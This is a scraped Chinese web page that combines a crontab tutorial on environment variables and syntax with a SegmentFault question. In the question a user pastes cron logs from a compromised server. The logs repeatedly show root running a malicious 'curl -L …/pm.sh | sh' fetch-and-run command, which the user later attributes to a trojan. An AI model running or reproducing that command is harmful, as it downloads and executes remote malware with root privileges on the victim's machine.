linux定时任务linux查看crontab任务突然出问题,看不懂这是个什么问题

Linux Crontab内环境变量与Shell环境变量的关系及解决问题的办法
我的图书馆
Linux Crontab内环境变量与Shell环境变量的关系及解决问题的办法
为了定时监控系统CPU、内存、负载的使用情况,写了个Shell脚本,当达到一定值得时候,发送邮件通知。需要用到的定时任务去执行这个脚本,但是发现通过命令(./test.sh)执行Shell文件的时候,可以获取的环境变量;可是通过Crontab做的定时任务,无法获取。查找资料之后发现,crontab有一个坏毛病,就是它总是不会缺省的从用户profile文件中读取环境变量参数,经常导致在手工执行某个 脚本时是成功的,但是到crontab中试图让它定期执行时就是会出错。2种方法可以解决这个问题,1、在Shell文件里面获取环境变量值的路径写成绝对路径,别用环境变量的路径值。例如获取CPU的使用情况 &通过绝对路径/proc/cpuinfo 来获取值;2、Shell脚本缺省的#!/bin/sh开头换行后的第一行用#!/bin/sh. /etc/profile. ~/.bash_profile这样,crontab在执行脚本的时候,就能够读到用户的环境变量参数备注:如果你是在cron里提交的,请注意:不要假定c r o n知道所需要的特殊环境,它其实并不知道。所以你要保证在s h e l l脚本中提供所有必要的路径和环境变量,除了一些自动设置的全局变量。&分享一些关于Crontab的小知识但是最近在使用crontab过程中,接连遇到头疼的问题:手动执行脚本时一点问题都没有,可是放在 crontab中脚本死活也不运行。最后查出来原因一次是因为脚本里面文件路径没有写全路径导致的,另一次是因为脚本运行需要依赖java环境变量,其实 两次都是环境变量的问题造成的。从网上同样了解到一般crontab无法运行的问题都是由环境变量在crontab中不一定可识别引起的。某前辈总结 说:crontab如果不注意的话早晚会出问题,而且这种问题一旦出一次,就会永远记得,因为这种问题很折腾人。精辟啊~~下面我也来试试总结下crontab的基本用法,环境变量以及其他要注意的问题。各位看官可以参考下,有什么问题也可以留言讨论。————————————————————————————1.crontab的基本用法Usage: crontab [-u user] [-e|-l|-r]Crontab 的格式说明如下:* 逗号(‘,’) 指定列表值。如: “1,3,4,7,8″* 中横线(‘-’) 指定范围值 如 “1-6″, 代表 “1,2,3,4,5,6″* 星号 (‘*’) 代表所有可能的值*/15 表示每 15 分钟执行一次# Use the hash sign to prefix a comment# +—————- minute (0 – 59)# | &+————- hour (0 – 23)# | &| &+———- day of month (1 – 31)# | &| &| &+——- month (1 – 12)# | &| &| &| &+—- day of week (0 – 7) (Sunday=0 or 7)# | &| &| &| &|# * &* &* &* &* &command to be executed2.crontab与环境变量不要假定cron知道所需要的特殊环境,它其实并不知道。所以你要保证在l脚本中提供所有必要的路径和环境变量,除了一些自动设置的全局变量。所以注意如下3点:1)脚本中涉及文件路径时写全局路径;2)脚本执行要用到java或其他环境变量时,通过source命令引入环境变量,如:cat start_cbp.sh#!/bin/shsource /etc/profileexport RUN_CONF=/home/d139/conf/platform/cbp/cbp_jboss.conf/usr/local/jboss-4.0.5/bin/run.sh -c mev &3)当手动执行脚本OK,但是crontab死活不执行时。这时必须大胆怀疑是环境变量惹的祸,并可以尝试在crontab中直接引入环境变量解决问题。如:0 * * * * . /etc//bin/sh /var/www/java/audit_no_count/bin/restart_audit.sh3.其他应该注意的问题1)新创建的cron job,不会马上执行,至少要过2分钟才执行。如果重启cron则马上执行。2)每条 JOB 执行完毕之后,系统会自动将输出发送邮件给当前系统用户。日积月累,非常的多,甚至会撑爆整个系统。所以每条 JOB 命令后面进行重定向处理是非常必要的: &/dev/null 2&&1 。前提是对 Job 中的命令需要正常输出已经作了一定的处理, 比如追加到某个特定日志文件。3)当crontab突然失效时,可以尝试/etc/init.d/crond restart解决问题。或者查看日志看某个job有没有执行/报错tail -f /var/log/cron。4)千万别乱运行crontab -r。它从Crontab目录(/var/spool/cron)中删除用户的Crontab文件。删除了该用户的所有crontab都没了。5)在crontab中%是有特殊含义的,表示换行的意思。如果要用的话必须进行转义\%,如经常用的date ‘+%Y%m%d’在crontab里是不会执行的,应该换成date ‘+\%Y\%m\%d’`。—————————————————————————————–/etc/profile, /etc/bashrc, .bash_profile和.bashrc的差别用户登陆Linux操作系统的时候,”/etc/profile”, “~/.bash_profile”等配置文件会被自动执行。执行过程是这样的:登陆Linux系统时,首先启动”/etc/profile”,然后启动 用户目录下的”~/.bash_profile”,如果”~/.bash_login”和”~/.profile”文件存在的时候也会在执行”~ /.bash_profile”后被依次调用。——————cat .bash_profile# .bash_profile# Get the aliases and functionsif [ -f ~/.bashrc ]; then. ~/.bashrcfi# User specific environment and startup programsPATH=$PATH:$HOME/binexport PATHalias vi=vim通过上面脚本可以看到~/.bash_profile文件先调用~/.bashrc,然后再把PATH加载。——————下面是一些区别:/etc/profile:此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行,并从/etc/profile.d目录的设置文件中搜集的设置;/etc/bashrc:为每一个运行bash shell的用户执行此文件,当bash shell被打开时,该文件被读取;~/.bash_profile:每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次!默认情况下,他设置一些环境变量,执行用户的.bashrc文件,~/.bashrc:该文件包含专用于你的bash shell的bash信息,当登录时及每次打开新的shell时,该文件被读取;~/.bash_logout:当每次退出系统(退出bash shell)时,执行该文件;——–/etc/profile是全局性的功能,其中设置的变量作用于所有用户,~/.bash_profile中设置的变量能继承/etc/profile中的变量并作用于用户。~/.bash_profile 是交互式、login 方式进入 bash 运行的;~/.bashrc 是交互式 non-login 方式进入 bash 运行的。
TA的最新馆藏[转]&
喜欢该文的人也喜欢linux 系统则是由 cron (crond) 这个系统服务来控制的。Linux 系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的。另 外, 由于使用者自己也可以设置计划任务,所以, Linux 系统也提供了使用者控制计划任务的命令 :crontab 命令。
一、crond简介
crond 是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务 工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
Linux下的任务调度分为两类,系统任务调度和用户任务调度。
系统任务调度:系统周期性所要执行的工作,比如写缓存数据到硬盘、日志清理等。在/etc目录下有一个crontab文件,这个就是系统任务调度的配置文件。
/etc/crontab文件包括下面几行:
cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=HOME=/
# run-parts
51 * * * * root run-parts /etc/cron.hourly
24 7 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
前 四行是用来配置crond任务运行的环境变量,第一行SHELL变量指定了系统要使用哪个shell,这里是bash,第二行PATH变量指定了系统执行 命令的路径,第三行MAILTO变量指定了crond的任务执行信息将通过电子邮件发送给root用户,如果MAILTO变量的值为空,则表示不发送任务 执行信息给用户,第四行的HOME变量指定了在执行命令或者脚本时使用的主目录。第六至九行表示的含义将在下个小节详细讲述。这里不在多说。
用户任务调度:用户定期要执行的工作,比如用户数据备份、定时邮件提醒等。用户可以使用 crontab 工具来定制自己的计划任务。所有用户定义的crontab 文件都被保存在 /var/spool/cron目录中。其文件名与用户名一致。
使用者权限文件:
/etc/cron.deny
该文件中所列用户不允许使用crontab命令
/etc/cron.allow
该文件中所列用户允许使用crontab命令
/var/spool/cron/
所有用户crontab文件存放的目录,以用户名命名
crontab文件的含义:
用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:
minute: 表示分钟,可以是从0到59之间的任何整数。
hour:表示小时,可以是从0到23之间的任何整数。
day:表示日期,可以是从1到31之间的任何整数。
month:表示月份,可以是从1到12之间的任何整数。
week:表示星期几,可以是从0到7之间的任何整数,这里的0或7代表星期日。
command:要执行的命令,可以是系统命令,也可以是自己编写的脚本文件。
在以上各个字段中,还可以使用以下特殊字符:
星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。
逗号(,):可以用逗号隔开的值指定一个列表范围,例如,&1,2,5,7,8,9&
中杠(-):可以用整数之间的中杠表示一个整数范围,例如&2-6&表示&2,3,4,5,6&
正斜线(/):可以用正斜线指定时间的间隔频率,例如&0-23/2&表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。
二、crond服务
安装crontab:
yum install crontabs
服务操作说明:
/sbin/service crond start //启动服务
/sbin/service crond stop //关闭服务
/sbin/service crond restart //重启服务
/sbin/service crond reload //重新载入配置
/sbin/service crond status //启动服务
查看crontab服务是否已设置为开机启动,执行命令:
加入开机自动启动:
chkconfig &level 35 crond on
三、crontab命令详解
1.命令格式:
crontab [-u user] file
crontab [-u user] [ -e | -l | -r ]
2.命令功能:
通过crontab 命令,我们可以在固定的间隔时间执行指定的系统指令或 shell script脚本。时间间隔的单位可以是分钟、小时、日、月、周及以上的任意组合。这个命令非常设合周期性的日志分析或数据备份等工作。
3.命令参数:
-u user:用来设定某个用户的crontab服务,例如,&-u ixdba&表示设定ixdba用户的crontab服务,此参数一般有root用户来运行。
file:file是命令文件的名字,表示将file做为crontab的任务列表文件并载入crontab。如果在命令行中没有指定这个文件,crontab命令将接受标准输入(键盘)上键入的命令,并将它们载入crontab。
-e:编辑某个用户的crontab文件内容。如果不指定用户,则表示编辑当前用户的crontab文件。
-l:显示某个用户的crontab文件内容,如果不指定用户,则表示显示当前用户的crontab文件内容。
-r:从/var/spool/cron目录中删除某个用户的crontab文件,如果不指定用户,则默认删除当前用户的crontab文件。
-i:在删除用户的crontab文件时给确认提示。
4.常用方法:
1). 创建一个新的crontab文件
在 考虑向cron进程提交一个crontab文件之前,首先要做的一件事情就是设置环境变量EDITOR。cron进程根据它来确定使用哪个编辑器编辑 crontab文件。9 9 %的UNIX和LINUX用户都使用vi,如果你也是这样,那么你就编辑$ HOME目录下的. profile文件,在其 中加入这样一行:
EDITOR= export EDITOR
然后保存并退出。不妨创建一个名为&user& cron的文件,其中&user&是用户名,例如, davecron。在该文件中加入如下的内容。
# (put your own initials here)echo the date to the console every
# 15minutes between 6pm and 6am
0,15,30,45 18-06 * * * /bin/echo &date& & /dev/console
保存并退出。确信前面5个域用空格分隔。
在 上面的例子中,系统将每隔1 5分钟向控制台输出一次当前时间。如果系统崩溃或挂起,从最后所显示的时间就可以一眼看出系统是什么时间停止工作的。在有些 系统中,用tty1来表示控制台,可以根据实际情况对上面的例子进行相应的修改。为了提交你刚刚创建的crontab文件,可以把这个新创建的文件作为 cron命令的参数:
$ crontab davecron
现在该文件已经提交给cron进程,它将每隔1 5分钟运行一次。
同时,新创建文件的一个副本已经被放在/var/spool/cron目录中,文件名就是用户名(即dave)。
2). 列出crontab文件
为了列出crontab文件,可以用:
$ crontab -l
0,15,30,45,18-06 * * * /bin/echo `date` & dev/tty1
你将会看到和上面类似的内容。可以使用这种方法在$ H O M E目录中对crontab文件做一备份:
$ crontab -l & $HOME/mycron
这样,一旦不小心误删了crontab文件,可以用上一节所讲述的方法迅速恢复。
3). 编辑crontab文件
如果希望添加、删除或编辑crontab文件中的条目,而E D I TO R环境变量又设置为v i,那么就可以用v i来编辑crontab文件,相应的命令为:
$ crontab -e
可以像使用v i编辑其他任何文件那样修改crontab文件并退出。如果修改了某些条目或添加了新的条目,那么在保存该文件时, c r o n会对其进行必要的完整性检查。如果其中的某个域出现了超出允许范围的值,它会提示你。
我们在编辑crontab文件时,没准会加入新的条目。例如,加入下面的一条:
# DT:delete core files,at 3.30am on 1,7,14,21,26,26 days of each month
30 3 1,7,14,21,26 * * /bin/find -name &core& -exec rm {} \;
现在保存并退出。最好在crontab文件的每一个条目之上加入一条注释,这样就可以知道它的功能、运行时间,更为重要的是,知道这是哪位用户的作业。
现在让我们使用前面讲过的crontab -l命令列出它的全部信息:
$ crontab -l
# (crondave installed on Tue May 4 13:07:43 1999)
# DT:ech the date to the console every 30 minites
0,15,30,45 18-06 * * * /bin/echo `date` & /dev/tty1
# DT:delete core files,at 3.30am on 1,7,14,21,26,26 days of each month
30 3 1,7,14,21,26 * * /bin/find -name &core& -exec rm {} \;
4). 删除crontab文件
要删除crontab文件,可以用:
$ crontab -r
5). 恢复丢失的crontab文件
如果不小心误删了crontab文件,假设你在自己的$ H O M E目录下还有一个备份,那么可以将其拷贝到/var/spool/cron/&username&,其中&username&是用户名。如果由于权限问题无法完成拷贝,可以用:
$ crontab &filename&
其中,&filename&是你在$ H O M E目录中副本的文件名。
我建议你在自己的$ H O M E目录中保存一个该文件的副本。我就有过类似的经历,有数次误删了crontab文件(因为r键紧挨在e键的右边)。这就是为什么有些系统文档建议不要直接编辑crontab文件,而是编辑该文件的一个副本,然后重新提交新的文件。
有些crontab的变体有些怪异,所以在使用crontab命令时要格外小心。如果遗漏了任何选项,crontab可能会打开一个空文件,或者看起来像是个空文件。这时敲delete键退出,不要按&Ctrl-D&,否则你将丢失crontab文件。
5.使用实例
实例1:每1分钟执行一次command命令:* * * * * command
实例2:每小时的第3和第15分钟执行命令:3,15 * * * * command
实例3:在上午8点到11点的第3和第15分钟执行命令:3,15 8-11 * * * command
实例4:每隔两天的上午8点到11点的第3和第15分钟执行命令:3,15 8-11 */2 * * command
实例5:每个星期一的上午8点到11点的第3和第15分钟执行命令:3,15 8-11 * * 1 command
实例6:每晚的21:30重启smb 命令:30 21 * * * /etc/init.d/smb restart
实例7:每月1、10、22日的4 : 45重启smb 命令:45 4 1,10,22 * * /etc/init.d/smb restart
实例8:每周六、周日的1 : 10重启smb命令:10 1 * * 6,0 /etc/init.d/smb restart
实例9:每天18 : 00至23 : 00之间每隔30分钟重启smb 命令:0,30 18-23 * * * /etc/init.d/smb restart
实例10:每星期六的晚上11 : 00 pm重启smb 命令:0 23 * * 6 /etc/init.d/smb restart
实例11:每一小时重启smb 命令:* */1 * * * /etc/init.d/smb restart
实例12:晚上11点到早上7点之间,每隔一小时重启smb 命令:* 23-7/1 * * * /etc/init.d/smb restart
实例13:每月的4号与每周一到周三的11点重启smb 命令:0 11 4 * mon-wed /etc/init.d/smb restart
实例14:一月一号的4点重启smb 命令:0 4 1 jan * /etc/init.d/smb restart
实例15:每小时执行/etc/cron.hourly目录内的脚本命令:01
root run-parts /etc/cron.hourly说明:run-parts这个参数了,如果去掉这个参数的话,后面就可以写要运行的某个脚本名,而不是目录名了
四、使用注意事项
注意环境变量问题有时我们创建了一个crontab,但是这个任务却无法自动执行,而手动执行这个任务却没有问题,这种情况一般是由于在crontab文件中没有配置环境变量引起的。
在 crontab文件中定义多个调度任务时,需要特别注意的一个问题就是环境变量的设置,因为我们手动执行某个任务时,是在当前shell环境下进行的,程 序当然能找到环境变量,而系统自动执行任务调度时,是不会加载任何环境变量的,因此,就需要在crontab文件中指定任务运行所需的所有环境变量,这 样,系统执行任务调度时就没有问题了。
不要假定cron知道所需要的特殊环境,它其实并不知道。所以你要保证在shelll脚本中提供所有必要的路径和环境变量,除了一些自动设置的全局变量。所以注意如下3点:
1)脚本中涉及文件路径时写全局路径;
2)脚本执行要用到java或其他环境变量时,通过source命令引入环境变量,如:
cat start_cbp.sh
source /etc/profile
export RUN_CONF=/home/d139/conf/platform/cbp/cbp_jboss.conf
/usr/local/jboss-4.0.5/bin/run.sh -c mev &
3)当手动执行脚本OK,但是crontab死活不执行时。这时必须大胆怀疑是环境变量惹的祸,并可以尝试在crontab中直接引入环境变量解决问题。如:
0 * * * * . /etc//bin/sh /var/www/java/audit_no_count/bin/restart_audit.sh
注意清理系统用户的邮件日志每条任务调度执行完毕,系统都会将任务输出信息通过电子邮件的形式发送给当前系统用户,这样日积月累,日志信息会非常大,可能会影响系统的正常运行,因此,将每条任务进行重定向处理非常重要。
例如,可以在crontab文件中设置如下形式,忽略日志输出:
0 */3 * * * /usr/local/apache2/apachectl restart &/dev/null 2&&1
&/dev/null 2&&1&表示先将标准输出重定向到/dev/null,然后将标准错误重定向到标准输出,由于标准输出已经重定向到了/dev/null,因此标准错误也会重定向到/dev/null,这样日志输出问题就解决了。
系统级任务调度与用户级任务调度系 统级任务调度主要完成系统的一些维护操作,用户级任务调度主要完成用户自定义的一些任务,可以将用户级任务调度放到系统级任务调度来完成(不建议这么 做),但是反过来却不行,root用户的任务调度操作可以通过&crontab &uroot &e&来设置,也可以将调度任务直接写入/etc /crontab文件,需要注意的是,如果要定义一个定时重启系统的任务,就必须将任务放到/etc/crontab文件,即使在root用户下创建一个 定时重启系统的任务也是无效的。
其他注意事项新创建的cron job,不会马上执行,至少要过2分钟才执行。如果重启cron则马上执行。
当crontab突然失效时,可以尝试/etc/init.d/crond restart解决问题。或者查看日志看某个job有没有执行/报错tail -f /var/log/cron。
千万别乱运行crontab -r。它从Crontab目录(/var/spool/cron)中删除用户的Crontab文件。删除了该用户的所有crontab都没了。
在crontab中%是有特殊含义的,表示换行的意思。如果要用的话必须进行转义\%,如经常用的date &+%Y%m%d&在crontab里是不会执行的,应该换成date &+\%Y\%m\%d&。
阅读(...) 评论()拒绝访问 |
| 百度云加速
请打开cookies.
此网站 () 的管理员禁止了您的访问。原因是您的访问包含了非浏览器特征(3a993bfe8f7943a1-ua98).
重新安装浏览器,或使用别的浏览器计划任务crontab执行中文乱码问题
博主在linux中写了个定时脚本,其中包含中文字符。脚本手动运行一切正常,但是使用crontab运行后发现日志中应该出现中文的地方全是???等乱码。
结合之前一样,分析出原因肯定是环境变量的问题。因为Unix/Linux下使用crontab时的运行环境已经不是用户环境了,因此原本用户下的一些环境变量的设置就失效了。例如原来用户环境变量设置的是GB2312,但是使用crontab运行时的环境变量就可能是ISO8859-1。
所以解决办法只需要在脚本最前面加上当前环境的lang环境即可。即先获取当前语言环境,echo $LANG,例如输出en_US.UTF-8,然后在脚本最前面增加一行export LANG=en_US.UTF-8 。问题对人有帮助,内容完整,我也想知道答案
问题没有实际价值,缺少关键内容,没有改进余地
Nov 19 04:52:01 iZ94uuwwfixZ crond[819]: (authorized_keys) ORPHAN (no passwd entry)
Nov 19 04:52:01 iZ94uuwwfixZ crond[819]: (root) RELOAD (/var/spool/cron/root)
Nov 19 04:52:01 iZ94uuwwfixZ crond[819]: (CRON) bad minute (/var/spool/cron/root)
Nov 19 04:52:01 iZ94uuwwfixZ crond[819]: (CRON) bad minute (/var/spool/cron/root)
Nov 19 04:52:01 iZ94uuwwfixZ crond[819]: (CRON) bad minute (/var/spool/cron/root)
Nov 19 04:52:01 iZ94uuwwfixZ crond[819]: (CRON) bad minute (/var/spool/cron/root)
Nov 19 04:52:01 iZ94uuwwfixZ crond[819]: (CRON) bad minute (/var/spool/cron/root)
...(此处省略很多与上一行一样的log)
Nov 19 04:52:02 iZ94uuwwfixZ crond[819]: (CRON) bad minute (/var/spool/cron/root)
Nov 19 04:52:02 iZ94uuwwfixZ CROND[2167]: (root) CMD (curl -L /pm.sh?i1003 | sh)
Nov 19 04:53:01 iZ94uuwwfixZ CROND[2179]: (root) CMD (curl -L /pm.sh?i1003 | sh)
Nov 19 04:54:01 iZ94uuwwfixZ CROND[2202]: (root) CMD (curl -L /pm.sh?i1003 | sh)
Nov 19 04:55:01 iZ94uuwwfixZ CROND[2217]: (root) CMD (curl -L /pm.sh?i1003 | sh)
Nov 19 04:56:01 iZ94uuwwfixZ CROND[2234]: (root) CMD (curl -L /pm.sh?i1003 | sh)
Nov 19 04:57:01 iZ94uuwwfixZ CROND[2252]: (root) CMD (curl -L /pm.sh?i1003 | sh)
Nov 19 04:58:01 iZ94uuwwfixZ CROND[2275]: (root) CMD (curl -L /pm.sh?i1003 | sh)
Nov 19 04:59:01 iZ94uuwwfixZ CROND[2285]: (root) CMD (curl -L /pm.sh?i1003 | sh)
Nov 19 05:00:01 iZ94uuwwfixZ CROND[2304]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 19 05:00:01 iZ94uuwwfixZ CROND[2305]: (root) CMD (curl -L /pm.sh?i1003 | sh)
Nov 19 05:01:01 iZ94uuwwfixZ CROND[2317]: (root) CMD (curl -L /pm.sh?i1003 | sh)
Nov 19 05:01:01 iZ94uuwwfixZ CROND[2318]: (root) CMD (run-parts /etc/cron.hourly)
Nov 19 05:01:01 iZ94uuwwfixZ run-parts(/etc/cron.hourly)[2318]: starting 0anacron
Nov 19 05:01:01 iZ94uuwwfixZ run-parts(/etc/cron.hourly)[2332]: finished 0anacron
Nov 19 05:01:01 iZ94uuwwfixZ run-parts(/etc/cron.hourly)[2318]: starting 0yum-hourly.cron
Nov 19 05:01:01 iZ94uuwwfixZ run-parts(/etc/cron.hourly)[2338]: finished 0yum-hourly.cron
Nov 19 05:02:01 iZ94uuwwfixZ CROND[2347]: (root) CMD (curl -L /pm.sh?i1003 | sh)
Nov 19 05:03:01 iZ94uuwwfixZ CROND[2357]: (root) CMD (curl -L /pm.sh?i1003 | sh)
Nov 19 05:04:01 iZ94uuwwfixZ CROND[2372]: (root) CMD (curl -L /pm.sh?i1003 | sh)
Nov 19 05:05:01 iZ94uuwwfixZ CROND[2387]: (root) CMD (curl -L /pm.sh?i1003 | sh)
请问这是为什么??直到这段日志的时间的前一分钟都是正常的,日志里也没有显示有人改过配置文件,为什么会变成这样?这是什么错误?这个直接导致了所有以前设置的定时任务都没有了
搜到有人是因为。我用的是mysql,没有oracle,而且昨天使用过阿里云的数据迁移功能(是这台服务器数据迁出),用上了增量迁移,增量迁移停止的时间是Nov 19 02:33:00,出问题是2个半小时以后。
答案对人有帮助,有参考价值
答案没帮助,是错误的答案,答非所问
擦,知道为什么了,是服务器被种木马了,百度搜索“”出来很多结果,但是清除好像不简单,我再看看,希望有人告诉我杀毒方法…
同步到新浪微博
分享到微博?
Hi,欢迎来到 SegmentFault 技术社区!⊙▽⊙ 在这里,你可以提出编程相关的疑惑,关注感兴趣的问题,对认可的回答投赞同票;大家会帮你解决编程的问题,和你探讨技术更新,为你的回答投上赞同票。
明天提醒我
关闭理由:
删除理由:
忽略理由:
推广(招聘、广告、SEO 等)方面的内容
与已有问题重复(请编辑该提问指向已有相同问题)
答非所问,不符合答题要求
宜作评论而非答案
带有人身攻击、辱骂、仇恨等违反条款的内容
无法获得确切结果的问题
非开发直接相关的问题
非技术提问的讨论型问题
其他原因(请补充说明)
我要该,理由是:

我要回帖

更多关于 linux crontab 的文章

 

随机推荐